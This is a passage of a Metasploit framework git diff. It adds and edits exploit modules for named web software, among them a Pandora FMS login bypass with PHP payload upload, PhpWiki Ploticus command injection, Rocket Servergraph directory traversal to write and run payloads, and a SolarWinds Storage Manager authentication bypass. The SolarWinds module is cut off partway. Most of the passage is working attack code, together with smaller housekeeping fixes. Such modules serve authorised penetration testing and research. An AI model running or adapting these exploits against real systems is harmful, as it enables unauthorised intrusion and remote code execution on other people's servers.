=> true }] + ], + 'Privileged' => false, + 'DisclosureDate' => "Nov 30 2010", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path to the web application', '/pandora_console/']), + ], self.class) + end + + def check + + base = target_uri.path + + # retrieve software version from login page + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(base, 'index.php') + }) + if res and res.code == 200 + #Tested on v3.1 Build PC100609 and PC100608 + if res.body.include?("v3.1 Build PC10060") + return Exploit::CheckCode::Appears + elsif res.body.include?("Pandora") + return Exploit::CheckCode::Detected + end + end + return Exploit::CheckCode::Safe + rescue ::Rex::ConnectionError + vprint_error("#{peer} - Connection failed") + end + return Exploit::CheckCode::Unknown + + end + + # upload a payload using the pandora built-in file upload + def upload(base, file, cookies) + data = Rex::MIME::Message.new + data.add_part(file, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@fname}\"") + data.add_part("Go", nil, nil, 'form-data; name="go"') + data.add_part("images", nil, nil, 'form-data; name="directory"') + data.add_part("1", nil, nil, 'form-data; name="upload_file"') + data_post = data.to_s + data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(base, 'index.php'), + 'cookie' => cookies, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'vars_get' => { + 'sec' => 'gsetup', + 'sec2' => 'godmode/setup/file_manager', + }, + 'data' => data_post + }) + + register_files_for_cleanup(@fname) + return res + end + + def exploit + + base = target_uri.path + @fname = "#{rand_text_numeric(7)}.php" + cookies = "" + + # bypass authentication and get session cookie + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(base, 'index.php'), + 'vars_get' => { + 'loginhash_data' => '21232f297a57a5a743894a0e4a801fc3', + 'loginhash_user' => 'admin', + 'loginhash' => '1', + }, + }) + + # fix if logic + if res and res.code == 200 + if res.body.include?("Logout") + cookies = res.get_cookies + print_status("Login Bypass Successful") + print_status("cookie monster = " + cookies) + else + fail_with(Exploit::Failure::NotVulnerable, "Login Bypass Failed") + end + end + + # upload PHP payload to images/[fname] + print_status("#{peer} - Uploading PHP payload (#{payload.encoded.length} bytes)") + php = %Q|<?php #{payload.encoded} ?>| + begin + res = upload(base, php, cookies) + rescue ::Rex::ConnectionError + fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed") + end + + if res and res.code == 200 + print_good("#{peer} - File uploaded successfully") + else + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed") + end + + # retrieve and execute PHP payload + print_status("#{peer} - Executing payload (images/#{@fname})") + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(base, 'images', "#{@fname}") + }, 1) + rescue ::Rex::ConnectionError + fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed") + end + + end +end diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index 61a67e8e40..5ff2a02952 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -196,7 +196,7 @@ class Metasploit3 < Msf::Exploit::Remote max.times { chars << rand(string.length)} end end - chars.uniq.sort.reverse.each{|index| string[index] = Rex::Text.uri_encode(string[index,1], "hex-all")} + chars.uniq.sort.reverse.each{|index| string[index] = Rex::Text.uri_encode(string[index,1], "hex-noslashes")} string end diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb index a885cb3901..642b983080 100644 --- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb +++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote }) # If we don't get a cookie, bail! - if res and res.headers['Set-Cookie'] =~ /(PHPVolunteerManagent=\w+);*/ + if res and res.get_cookies =~ /(PHPVolunteerManagent=\w+);*/ cookie = $1 vprint_status("#{peer} - Found cookie: #{cookie}") else diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb index fc0e9c5c99..7a0f6dc859 100644 --- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb +++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,12 +12,13 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection', + 'Name' => 'phpLDAPadmin query_engine Remote PHP Code Injection', 'Description' => %q{ - This module exploits a vulnerability in the lib/functions.php that allows - attackers input parsed directly to the create_function() php function. A patch was - issued that uses a whitelist regex expression to check the user supplied input - before being parsed to the create_function() call. + This module exploits a vulnerability in the lib/functions.php for + phpLDAPadmin versions 1.2.1.1 and earlier that allows attackers input + parsed directly to the create_function() php function. A patch was + issued that uses a whitelist regex expression to check the user supplied + input before being parsed to the create_function() call. }, 'Author' => [ @@ -78,19 +79,12 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => uri, }, 3) - if (res.nil? or not res.headers['Set-Cookie']) + if res.nil? or res.get_cookies.empty? print_error("Could not generate a valid session") return end - return res.headers['Set-Cookie'] - end - - def cleanup - # We may not be using php/exe again, so clear the CMD option - if datastore['CMD'] - datastore['CMD'] = nil - end + return res.get_cookies end def exploit diff --git a/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb b/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb index fbba3cb8d2..07e724ebec 100644 --- a/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb +++ b/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb index dae461f8c3..f08271cfe8 100644 --- a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb +++ b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Janek "waraxe" Vind', # Discovery - 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module + 'Ben Campbell' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/multi/http/phpscheduleit_start_date.rb b/modules/exploits/multi/http/phpscheduleit_start_date.rb index 651e5e8977..1cb52422ab 100644 --- a/modules/exploits/multi/http/phpscheduleit_start_date.rb +++ b/modules/exploits/multi/http/phpscheduleit_start_date.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb index 57220832a0..efb8f203b0 100644 --- a/modules/exploits/multi/http/phptax_exec.rb +++ b/modules/exploits/multi/http/phptax_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/phpwiki_ploticus_exec.rb b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb new file mode 100644 index 0000000000..6ce71ac09d --- /dev/null +++ b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::PhpEXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Phpwiki Ploticus Remote Code Execution', + 'Description' => %q{ + The Ploticus module in PhpWiki 1.5.0 allows remote attackers to execute arbitrary + code via command injection. + }, + 'Author' => + [ + 'Benjamin Harris', # Discovery and POC + 'us3r777 <us3r777[at]n0b0.so>' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-5519' ], + [ 'OSVDB', '110576' ], + [ 'EDB', '34451'], + [ 'URL', 'https://sourceforge.net/p/phpwiki/code/8974/?page=1' ], # This commit prevents exploitation + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/77' ] # The day the vuln went public + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], + [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 11 2014')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The full URI path to phpwiki', '/phpwiki']) , + ], self.class) + end + + def exploit + uri = target_uri.path + + payload_name = "#{rand_text_alpha(8)}.php" + php_payload = get_write_exec_payload(:unlink_self=>true) + + res = send_request_cgi({ + 'uri' => normalize_uri(uri + '/index.php/HeIp'), + 'method' => 'POST', + 'vars_post' => + { + 'pagename' => 'HeIp', + 'edit[content]' => "<<Ploticus device=\";echo '#{php_payload}' > #{payload_name};\" -prefab= -csmap= data= alt= help= >>", + 'edit[preview]' => 'Preview', + 'action' => 'edit' + } + }) + + if not res or res.code != 200 + fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") + end + + upload_uri = normalize_uri(uri + "/" + payload_name) + print_status("#{peer} - Executing payload #{payload_name}") + send_request_raw({ + 'uri' => upload_uri, + 'method' => 'GET' + }) + end +end diff --git a/modules/exploits/multi/http/plone_popen2.rb b/modules/exploits/multi/http/plone_popen2.rb index ac5fb0e31e..f5f16affd2 100644 --- a/modules/exploits/multi/http/plone_popen2.rb +++ b/modules/exploits/multi/http/plone_popen2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb index 2b121e3576..69eaf74d1e 100644 --- a/modules/exploits/multi/http/pmwiki_pagelist.rb +++ b/modules/exploits/multi/http/pmwiki_pagelist.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => 'PmWiki <= 2.2.34 pagelist.php Remote PHP Code Injection Exploit', + 'Name' => 'PmWiki pagelist.php Remote PHP Code Injection Exploit', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is diff --git a/modules/exploits/multi/http/polarcms_upload_exec.rb b/modules/exploits/multi/http/polarcms_upload_exec.rb index cc85fcb16b..340e9c6f02 100644 --- a/modules/exploits/multi/http/polarcms_upload_exec.rb +++ b/modules/exploits/multi/http/polarcms_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/processmaker_exec.rb b/modules/exploits/multi/http/processmaker_exec.rb index 6b1b20990d..e00a483e23 100644 --- a/modules/exploits/multi/http/processmaker_exec.rb +++ b/modules/exploits/multi/http/processmaker_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -25,9 +25,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => 'Brendan Coles <bcoles[at]gmail.com>', 'References' => [ - ['OSVDB' => '99199'], - ['BID' => '63411'], - ['URL' => 'http://bugs.processmaker.com/view.php?id=13436'] + ['OSVDB', '99199'], + ['BID', '63411'], + ['URL', 'http://bugs.processmaker.com/view.php?id=13436'] ], 'Payload' => { diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index 0478b23dd5..1e03ea297d 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - cookie = (res and res.headers['Set-Cookie'] =~ /qdpm\=.+\;/) ? res.headers['Set-Cookie'] : '' + cookie = (res and res.get_cookies =~ /qdpm\=.+\;/) ? res.get_cookies : '' return {} if cookie.empty? cookie = cookie.to_s.scan(/(qdpm\=\w+)\;/).flatten[0] diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index cf28fb5370..a8da7d1553 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 46751d2f1f..c5c990354d 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -233,8 +233,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => datastore['TARGETURI'] || "/", 'method' => datastore['HTTP_METHOD'], }, 25) - if res && res.headers['Set-Cookie'] - match = res.headers['Set-Cookie'].match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /) + if res && !res.get_cookies.empty? + match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) end if match diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index 2b744581de..29e4072bd1 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb new file mode 100644 index 0000000000..31e262489c --- /dev/null +++ b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb @@ -0,0 +1,348 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution', + 'Description' => %q{ + This module abuses several directory traversal flaws in Rocket Servergraph Admin + Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet, + allowing a remote attacker to write arbitrary files and execute commands with + administrative privileges. This module has been tested successfully on Rocket + ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu + 12.04 64 bits. + }, + 'Author' => + [ + 'rgod <rgod[at]autistici.org>', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-3914'], + ['ZDI', '14-161'], + ['ZDI', '14-162'], + ['BID', '67779'] + ], + 'Privileged' => true, + 'Platform' => %w{ linux unix win }, + 'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_CMD], + 'Payload' => + { + 'Space' => 8192, # it's writing a file, so just a long enough value + 'DisableNops' => true + #'BadChars' => (0x80..0xff).to_a.pack("C*") # Doesn't apply + }, + 'Targets' => + [ + [ 'Linux (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ], + [ 'Linux (CMD Payload)', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } + ], + [ 'Windows / VB Script', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ], + [ 'Windows CMD', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 30 2013')) + + register_options( + [ + Opt::RPORT(8888) + ], self.class) + + register_advanced_options( + [ + OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]), + OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]), + OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ]) + ], self.class) + + end + + def check + os = get_os + + if os.nil? + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Appears + end + + def exploit + os = get_os + + if os == 'win' && target.name =~ /Linux/ + fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected") + elsif os == 'linux' && target.name =~ /Windows/ + fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected") + elsif os.nil? + print_warning("#{peer} - Failed to detect remote operating system, trying anyway...") + end + + if target.name =~ /Windows.*VB/ + exploit_windows_vbs + elsif target.name =~ /Windows.*CMD/ + exploit_windows_cmd + elsif target.name =~ /Linux.*CMD/ + exploit_linux_cmd + elsif target.name =~ /Linux.*Native/ + exploit_linux_native + end + end + + def exploit_windows_vbs + traversal = "\\.." * traversal_depth + payload_base64 = Rex::Text.encode_base64(generate_payload_exe) + temp = temp_dir('win') + decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs" + encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64" + exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe" + + print_status("#{peer} - Dropping the encoded payload to filesystem...") + write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64) + + vbs = generate_decoder_vbs({ + :temp_dir => "C:#{temp}", + :encoded_file_name => encoded_file_name, + :exe_file_name => exe_file_name + }) + print_status("#{peer} - Dropping the VBS decoder to filesystem...") + write_file("#{traversal}#{temp}#{decoder_file_name}", vbs) + + register_files_for_cleanup("C:#{temp}#{decoder_file_name}") + register_files_for_cleanup("C:#{temp}#{encoded_file_name}") + register_files_for_cleanup("C:#{temp}#{exe_file_name}") + print_status("#{peer} - Executing payload...") + execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}") + end + + + def exploit_windows_cmd + traversal = "\\.." * traversal_depth + execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}") + end + + def exploit_linux_native + traversal = "/.." * traversal_depth + payload_base64 = Rex::Text.encode_base64(generate_payload_exe) + temp = temp_dir('linux') + encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64" + decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh" + elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf" + + print_status("#{peer} - Dropping the encoded payload to filesystem...") + write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64) + + decoder = <<-SH +#!/bin/sh + +base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name} +chmod 777 #{temp}#{elf_file_name} +#{temp}#{elf_file_name} +SH + + print_status("#{peer} - Dropping the decoder to filesystem...") + write_file("#{traversal}#{temp}#{decoder_file_name}", decoder) + + register_files_for_cleanup("#{temp}#{decoder_file_name}") + register_files_for_cleanup("#{temp}#{encoded_file_name}") + register_files_for_cleanup("#{temp}#{elf_file_name}") + + print_status("#{peer} - Giving execution permissions to the decoder...") + execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}") + + print_status("#{peer} - Executing decoder and payload...") + execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}") + end + + def exploit_linux_cmd + temp = temp_dir('linux') + elf = rand_text_alpha(4 + rand(4)) + + traversal = "/.." * traversal_depth + print_status("#{peer} - Dropping payload...") + write_file("#{traversal}#{temp}#{elf}", payload.encoded) + register_files_for_cleanup("#{temp}#{elf}") + print_status("#{peer} - Providing execution permissions...") + execute("#{traversal}/bin/chmod 777 #{temp}#{elf}") + print_status("#{peer} - Executing payload...") + execute("#{traversal}#{temp}#{elf}") + end + + def generate_decoder_vbs(opts = {}) + decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64") + + f = File.new(decoder_path, "rb") + decoder = f.read(f.stat.size) + f.close + + decoder.gsub!(/>>decode_stub/, "") + decoder.gsub!(/^echo /, "") + decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}") + decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}") + + decoder + end + + def get_os + os = nil + path = "" + hint = rand_text_alpha(3 + rand(4)) + + res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}") + + if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/ + path = $1 + elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/ + path = $1 + end + + if path =~ /^\// + os = 'linux' + elsif path =~ /^[a-zA-Z]:\\/ + os = 'win' + end + + os + end + + def temp_dir(os) + temp = "" + case os + when 'linux' + temp = linux_temp_dir + when 'win' + temp = win_temp_dir + end + + temp + end + + def linux_temp_dir + dir = "/tmp/" + + if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty? + dir = datastore['TEMP_DIR'] + end + + unless dir.start_with?("/") + dir = "/#{dir}" + end + + unless dir.end_with?("/") + dir = "#{dir}/" + end + + dir + end + + def win_temp_dir + dir = "\\#{win_dir}\\Temp\\" + + if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty? + dir = datastore['TEMP_DIR'] + end + + dir.gsub!(/\//, "\\") + dir.gsub!(/^([A-Za-z]:)?/, "") + + unless dir.start_with?("\\") + dir = "\\#{dir}" + end + + unless dir.end_with?("\\") + dir = "#{dir}\\" + end + + dir + end + + def win_dir + dir = "WINDOWS" + if datastore['WINDIR'] + dir = datastore['WINDIR'] + dir.gsub!(/\//, "\\") + dir.gsub!(/[\\]*$/, "") + dir.gsub!(/^([A-Za-z]:)?[\\]*/, "") + end + + dir + end + + def traversal_depth + depth = 20 + + if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1 + depth = datastore['TRAVERSAL_DEPTH'] + end + + depth + end + + def write_file(file_name, contents) + res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name) + + unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: / + fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting") + end + + res + end + + def execute(command) + res = send_request(1, "run", command) + + res + end + + def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4)) + data = "&invoker=#{rand_text_alpha(rand(4) + 4)}" + data << "&title=#{rand_text_alpha(rand(4) + 4)}" + data << "¶ms=#{rand_text_alpha(rand(4) + 4)}" + data << "&id=#{rand_text_alpha(rand(4) + 4)}" + data << "&cmd=#{command}" + data << "&source=#{source}" + data << "&query=#{query}" + + res = send_request_cgi( + { + 'uri' => normalize_uri('/', 'SGPAdmin', 'fileRequest'), + 'method' => 'POST', + 'data' => data + }, timeout) + + res + end + +end diff --git a/modules/exploits/multi/http/sflog_upload_exec.rb b/modules/exploits/multi/http/sflog_upload_exec.rb index 1e2cd51567..cecbbc0ad0 100644 --- a/modules/exploits/multi/http/sflog_upload_exec.rb +++ b/modules/exploits/multi/http/sflog_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -86,8 +86,8 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\<i\>Access denied\!\<\/i\>/ - return res.headers['Set-Cookie'] + if res and res.get_cookies.include?('PHPSESSID') and res.body !~ /\<i\>Access denied\!\<\/i\>/ + return res.get_cookies else return '' end diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb index 900616eef6..f854d6483b 100644 --- a/modules/exploits/multi/http/sit_file_upload.rb +++ b/modules/exploits/multi/http/sit_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Support Incident Tracker <= 3.65 Remote Command Execution', + 'Name' => 'Support Incident Tracker Remote Command Execution', 'Description' => %q{ This module combines two separate issues within Support Incident Tracker (<= 3.65) application to upload arbitrary data and thus execute a shell. The two issues exist @@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote if (res and res.code == 302 and res.headers['Location'] =~ /main.php/) print_status("Successfully logged in as #{user}:#{pass}") - if (res.headers['Set-Cookie'] =~ /SiTsessionID/) and res.headers['Set-Cookie'].split("SiTsessionID")[-1] =~ /=(.*);/ + if (res.get_cookies =~ /SiTsessionID/) and res.get_cookies.split("SiTsessionID")[-1] =~ /=(.*);/ session = $1 print_status("Successfully retrieved cookie: #{session}") return session diff --git a/modules/exploits/multi/http/snortreport_exec.rb b/modules/exploits/multi/http/snortreport_exec.rb index 2b70e04d27..68fbdb2704 100644 --- a/modules/exploits/multi/http/snortreport_exec.rb +++ b/modules/exploits/multi/http/snortreport_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb new file mode 100644 index 0000000000..044b7584f6 --- /dev/null +++ b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb @@ -0,0 +1,144 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SolarWinds Storage Manager Authentication Bypass', + 'Description' => %q{ + This module exploits an authentication bypass vulnerability in Solarwinds Storage Manager. + The vulnerability exists in the AuthenticationFilter, which allows to bypass authentication + with specially crafted URLs. After bypassing authentication, is possible to use a file + upload function to achieve remote code execution. This module has been tested successfully + in Solarwinds Store Manager Server 5.1.0 and 5.7.1 on Windows 32 bits, Windows 64 bits and + Linux 64 bits operating systems. + }, + 'Author' => + [ + 'rgod <rgod[at]autistici.org>', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['ZDI', '14-299'] + ], + 'Privileged' => true, + 'Platform' => %w{ linux win }, + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + ['Solarwinds Store Manager <= 5.7.1', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 19 2014')) + + register_options( + [ + Opt::RPORT(9000) + ], self.class) + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri("/", "images", "..", "jsp", "ProcessFileUpload.jsp"), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=----#{rand_text_alpha(10 + rand(10))}" + }) + + if res && res.code == 200 && res.body && res.body.to_s =~ /Upload Successful!!/ + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe + end + + def exploit + jsp_info = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp" + print_status("#{peer} - Uploading Information Gathering JSP #{jsp_info}...") + if upload(jsp_info, jsp_path) + print_good("#{peer} - JSP payload uploaded successfully") + else + fail_with(Failure::Unknown, "#{peer} - Information Gathering JSP upload failed") + end + + res = execute(jsp_info) + + if res && res.code == 200 && 